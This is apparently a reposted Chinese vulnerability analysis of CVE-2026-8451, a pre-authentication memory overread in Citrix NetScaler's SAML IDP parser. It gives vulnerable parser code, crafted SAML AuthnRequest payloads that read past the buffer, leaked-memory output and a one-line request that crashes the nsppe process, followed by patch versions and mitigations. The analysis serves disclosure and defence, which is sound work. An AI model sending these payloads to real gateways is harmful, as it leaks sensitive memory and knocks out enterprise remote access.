CitrixBleedInfinity:NetScaler预认证内存越读漏洞(CVE-2026-8451)

admin 2026-07-10 06:36:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了CitrixNetScaler预认证内存越读漏洞CVE-2026-8451。该漏洞源于SAMLIDP配置场景下XML属性解析逻辑缺陷,攻击者无需认证即可通过构造畸形的SAMLAuthnRequest读取服务器进程内存敏感数据,泄露内容通过NSC_TASScookie返回,且可导致进程崩溃。建议受影响企业立即将NetScaler升级至14.1-72.61或13.1-63.18及以上版本,若无法更新则评估禁用SAMLIDP必要性,并加强对相关端点流量的监控及异常cookie检测。 综合评分: 91 文章分类: 漏洞分析,漏洞预警,WEB安全,漏洞POC


cover_image

CitrixBleed Infinity:NetScaler预认证内存越读漏洞(CVE-2026-8451)

原创

Red Hunter Red Hunter

黑白之道

2026年7月7日 08:32 韩国

在小说阅读器读本章

去阅读

导语:安全研究团队watchTowr近日披露Citrix NetScaler又一预认证内存越读漏洞,编号CVE-2026-8451,CVSS评分8.8。这是继CVE-2026-3055之后,CitrixBleed漏洞家族的最新成员。与之前变种不同,此漏洞专注于SAML IDP配置场景下的XML属性解析缺陷,攻击者可在无需认证的前提下读取服务器进程内存中的敏感数据。


一、漏洞概述

1.1 背景

Citrix NetScaler(曾短暂更名后恢复)是全球大型企业网络中最常见的应用交付控制器和VPN网关设备之一,NetScaler Gateway更是数千家企业远程访问基础设施的”正门”。这类设备处理负载均衡、SSL卸载、身份认证和远程访问,自然成为攻击者眼中的香饽饽。

“CitrixBleed”一词如今已不代表单个漏洞,而是 Citrix NetScaler 设备中一整类内存泄露型漏洞的代名词。近年来,这些漏洞已多次出现在实际入侵事件中。

1.2 漏洞详情

  • CVE编号:CVE-2026-8451
  • 漏洞名称:Citrix Bleed To Infinity And Beyond
  • 类型:预认证内存越读(Pre-Auth Memory Overread)
  • CVSS评分:8.8(高危)
  • 根因:SAML AuthnRequest XML属性解析时输入验证不足
  • 触发条件:NetScaler设备须配置为SAML IDP(身份提供商)
  • 发现时间:2026年3月28日(watchTowr团队)
  • 披露时间:2026年6月30日(Citrix官方发布公告)

1.3 影响范围

根据Citrix官方公告,以下产品受影响:

  • NetScaler ADC和NetScaler Gateway 14.1:14.1-72.61之前的版本
  • NetScaler ADC和NetScaler Gateway 13.1:13.1-63.18之前的版本
  • NetScaler ADC FIPS:14.1-72.61 FIPS之前的版本
  • NetScaler ADC FIPS和NDcPP:13.1-37.272之前的版本

二、技术分析

2.1 XML属性解析器的缺陷

watchTowr团队在分析CVE-2026-3055补丁时,意外发现了存在于SAML AuthnRequest解析逻辑中的新漏洞。

Citrix的NetScaler在解析SAML登录请求时,需要从XML文档中提取属性值。审计相关代码后,研究人员发现了以下存在问题的实现逻辑:

cursor = <输入字符串>;

// 跳过前导空白字符
for&nbsp;(lookahead = ...; ; lookahead++) {
&nbsp; &nbsp; ch = *cursor;
&nbsp; &nbsp;&nbsp;if&nbsp;(ch >&nbsp;'=')&nbsp;break;
&nbsp; &nbsp;&nbsp;if&nbsp;(!_bittest64(&whitespaceCharList, ch)) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(ch ==&nbsp;'=') {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 找到等号,跳过后续空白
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(1) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ch = *lookahead;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(ch >&nbsp;0x20&nbsp;|| !_bittest64(&whitespaceCharList, ch))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ++lookahead;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cursor = lookahead;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; }
&nbsp; &nbsp; ++cursor;
}

// 确定属性值的引用方式(单引号、双引号或无引号)
if&nbsp;(ch ==&nbsp;'\''&nbsp;|| ch ==&nbsp;'"') {
&nbsp; &nbsp; terminator = ch;
&nbsp; &nbsp; first = *++cursor;
}&nbsp;else&nbsp;{
&nbsp; &nbsp; terminator =&nbsp;' '; &nbsp;// 无引号时以空格终止
&nbsp; &nbsp; first = ch;
}

// 向后扫描直到找到终结符
while&nbsp;(first !=&nbsp;'\0'&nbsp;&& first !=&nbsp;'>') {
&nbsp; &nbsp; scanPos++;
&nbsp; &nbsp; first = *scanPos;
&nbsp; &nbsp;&nbsp;if&nbsp;(first == terminator)&nbsp;break;
}

这段代码看起来中规中矩,但有几个微妙而危险的问题:

  1. 没有明显的边界检查。如果输入格式不规范,解析器完全可能读取到输入缓冲区之外。
  2. 无引用属性值的处理逻辑与带引号时不同。在无引用路径中,空格不再是终结符,解析器只在遇到空字节、>或匹配引号时才停止。
  3. >字符的终结处理存在差异。在解析属性名阶段,>被作为有效终结符处理,但一旦进入属性值解析,逻辑就变得模糊。

2.2 从异常解析到越界读取

正常情况下,NetScaler解析SAML AuthnRequest不会有问题:

AuthnReq start tag parsed, id=<_99d3e71118f42305e05acb14ad0bd917>,
acs=<http://sp.example.com/demo1/index.php?acs>, forceAuth=<0>, binding=<POST>,
following data "ProtocolBinding=..."

但当watchTowr团队用换行符替换属性值后的空格时,情况开始失控:

<samlp:AuthnRequest&nbsp;Version="2.0"&nbsp;AssertionConsumerServiceURL=11
id=22>
<saml:Issuer>watchtowr</saml:Issuer>
</samlp:AuthnRequest>

日志输出变成了:

AuthnReq start tag parsed, id=<22>, acs=<11 id=22>, forceAuth=<0>, binding=<Unknown>,
following data Version="2.0" AssertionConsumerServiceURL=11 id=22> <saml:Issuer>watchtowr...

acs的值被解析成了11 id=22,解析器没有在换行处停止,而是继续读取,直到遇到>才收手。

2.3 更进一步的越界读取

watchTowr团队进一步构造特殊载荷,成功让解析器读取到请求缓冲区边界之外的内存数据:

<samlp:AuthnRequest&nbsp;Version="2.0"&nbsp;AssertionConsumerServiceURL=
<saml2:issuer>watchtowr</saml2:issuer>
</samlp:AuthnRequest>
Version="2.0"
id="11"

日志输出:

AuthnReq start tag parsed, id=<>, acs=<▒^M▒ᆳ▒="2.0" id="11"
AssertionConsumerServiceURL="22"ᆳ▒mple.com/demo1/index.php</saml:Issuer>,
forceAuth=<0>, binding=<Unknown>

解析器已经越界读取了请求缓冲区之后的数据,并将这些数据混入了解析结果。


三、漏洞利用

3.1 利用路径

漏洞利用的关键在于构造特殊的SAML AuthnRequest,使XML解析器的属性值扫描越过请求缓冲区的边界。Citrix用NSC_TASS cookie将解析后的ID和AssertionConsumerServiceURL值返回给客户端,这意味着越界读取到的数据会被泄露到HTTP响应中。

最终,攻击者成功从服务器进程内存中读取到了预期的数据,包括0xdeadbeef填充模式和疑似有效的进程指针0xa10ca7ed

Leaked bytes:
00000000 f0 0d 90 de de de de de de de de de de de de de |................|
00000010 de de de de de de de de de de de de de de de de |................|
00000020 de de de de de de de de de de de de de de de de |................|
00000030 de de de de de de de de de de de de de de de de |................|
00000040 de de de de de de de de de de de ed a7 |................|
00000050 0c a1 35 00 |..5.|

如果该指针确实是有效的进程指针,这意味着此漏洞已从普通的信息泄露升级为真正的信息泄露原语,结合适当的内存破坏漏洞,可能实现设备的完全沦陷。

3.2 简单的拒绝服务

对于只想证明影响而不打算构建复杂漏洞利用链的攻击者来说,只需发送一个畸形请求就能让nsppe进程崩溃:

<samlp:AuthnRequest&nbsp;ID=

3.3 检测工具

watchTowr团队已将其检测工具开源:

GitHub:https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451


四、修复建议

  • 立即更新:将NetScaler ADC/Gateway更新到以下安全版本:

  • 14.1:升级到14.1-72.61或更高版本

  • 13.1:升级到13.1-63.18或更高版本

  • FIPS版本:相应跟进官方补丁

  • 临时缓解措施:如无法立即更新,可考虑:

  • 检查是否必须启用SAML IDP配置

  • 加强对/saml/login端点的流量监控

  • 关注NSC_TASS cookie响应中的异常数据


五、时间线

| 日期 | 事件 | | — | — | | 2026年3月28日 | watchTowr发现漏洞,通知Citrix及受影响客户 | | 2026年3月30日 | Citrix自动回复 | | 2026年4月30日 | watchTowr请求更新 | | 2026年5月7日 | Citrix回复正在开发修复方案 | | 2026年6月14日 | Citrix预计6月29日发布公告 | | 2026年6月25日 | Citrix通知可能延迟数日 | | 2026年6月30日 | Citrix正式发布公告和补丁 | | 2026年7月7日 | watchTowr公开发布研究细节 |


版权声明:本文由华安普特原创发布,保留所有权利。配图由华安普特授权使用。


👇 点击阅读原文,访问我的网站



免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:黑白之道 Red Hunter Red Hunter《CitrixBleed Infinity:NetScaler预认证内存越读漏洞(CVE-2026-8451)》

评论:0   参与:  0